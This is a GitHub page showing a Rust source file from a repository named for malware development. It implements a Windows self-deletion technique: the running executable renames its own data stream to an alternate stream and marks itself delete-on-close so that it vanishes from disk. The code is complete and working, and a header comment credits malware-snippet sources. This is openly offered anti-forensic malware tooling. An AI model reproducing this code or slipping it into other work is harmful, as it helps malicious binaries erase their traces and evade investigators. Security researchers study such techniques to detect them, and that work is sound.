-
Notifications
You must be signed in to change notification settings - Fork 193
/
self_delete.rs
141 lines (117 loc) · 4.8 KB
/
self_delete.rs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
/*
Self Deletion Technique
For More Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git
Resources Used:
https://maxkersten.nl/binary-analysis-course/malware-snippets/self-deletion/
https://github.com/joaoviictorti/RustRedOps/blob/main/Self_Deletion/src/main.rs
@5mukx
*/
/*
Explanation:~
* The code creates an alternate data stream, which isn't visible in typical file listings, and uses this to manipulate the file in a way that allows for self-deletion.
* By renaming the file's alternate data stream, it essentially prepares the file for an operation that can be performed on itself without directly needing admin permissions for file deletion.
* The actual deletion occurs when the file handle is closed after marking the file for deletion, which is a Windows feature where marking a file for deletion and then closing the last handle to it results in the file being deleted.
*/
use std::ffi::OsString;
use std::os::windows::ffi::OsStrExt;
use std::ptr::null_mut;
use winapi::ctypes::c_void;
use winapi::um::fileapi::{CreateFileW, SetFileInformationByHandle, FILE_RENAME_INFO};
use winapi::um::handleapi::CloseHandle;
use winapi::um::heapapi::HeapFree;
use winapi::um::minwinbase::{FileDispositionInfo, FileRenameInfo};
use winapi::um::winbase::FILE_FLAG_DELETE_ON_CLOSE;
use winapi::um::winnt::{FILE_ATTRIBUTE_NORMAL, HEAP_ZERO_MEMORY};
use winapi::um::{fileapi::FILE_DISPOSITION_INFO, heapapi::{GetProcessHeap, HeapAlloc}};
// macro_rules! okey {
// ($msg:expr, $($arg:expr), *) => {
// println!("[+] {}",format!($msg, $($arg), *));
// }
// }
// macro_rules! error {
// ($msg:expr, $($arg:expr), *) => {
// println!("[!] {}",format!($msg, $($arg), *));
// println!("Exiting ...");
// std::process::exit(1);
// };
// }
fn main(){
// This stream name is for alternate stream.
let stream = ":test_stream";
let stream_wide: Vec<u16> = OsString::from(stream).encode_wide().chain(std::iter::once(0)).collect();
unsafe{
let mut delete_file = FILE_DISPOSITION_INFO{
DeleteFile: 1 // default value is 1
};
let rename_info_size = std::mem::size_of::<FILE_RENAME_INFO>() + (stream_wide.len() * std::mem::size_of::<u16>());
// allocate memory for FILE_RENAME_INFO
let rename_info = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, rename_info_size) as *mut FILE_RENAME_INFO;
if rename_info.is_null() {
panic!("Memory allocation failed");
}
delete_file.DeleteFile = 1;
(*rename_info).FileNameLength = (stream_wide.len() * std::mem::size_of::<u16>()) as u32 - 2;
std::ptr::copy_nonoverlapping(
stream_wide.as_ptr(),
(*rename_info).FileName.as_mut_ptr(),
stream_wide.len(),
);
let path = std::env::current_exe().unwrap();
let mut full_path: Vec<u16> = OsString::from(path).encode_wide().collect();
full_path.push(0);
// Open the file with delete and synchronize permissions
let handle = CreateFileW(
full_path.as_ptr(),
0x00010000 | 0x00100000,
0x00000001,
core::ptr::null_mut(),
3, // OPEN_EXISTING
0 as u32, // FILE_ATTRIBUTE_NORMAL
null_mut(),
);
if handle.is_null() {
panic!("Failed to open file");
}
// rename the alternate data stream
let setfileinfohandle = SetFileInformationByHandle(
handle,
FileRenameInfo,
rename_info as *mut c_void,
rename_info_size as u32
);
if setfileinfohandle == 0 {
panic!("Failed to set file information for rename");
}
CloseHandle(handle);
// Re-open the file with delete on close flag
let handle = CreateFileW(
full_path.as_ptr(),
0x00010000 | 0x40000000 | 0x00100000,
0x00000001,
std::ptr::null_mut(),
3,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_DELETE_ON_CLOSE,
null_mut(),
);
if handle == null_mut() {
panic!("Failed to re-open file for deletion");
}
// Mark the file for deletion
let setfileinfo = SetFileInformationByHandle(
handle,
FileDispositionInfo,
&delete_file as *const FILE_DISPOSITION_INFO as *mut c_void,
std::mem::size_of::<FILE_DISPOSITION_INFO>() as u32
);
if setfileinfo == 0 {
panic!("Failed to mark file for deletion");
}
CloseHandle(handle); // This will delete the file
// free the allocated memory
HeapFree(
GetProcessHeap(),
0,
rename_info as *mut c_void,
);
}
}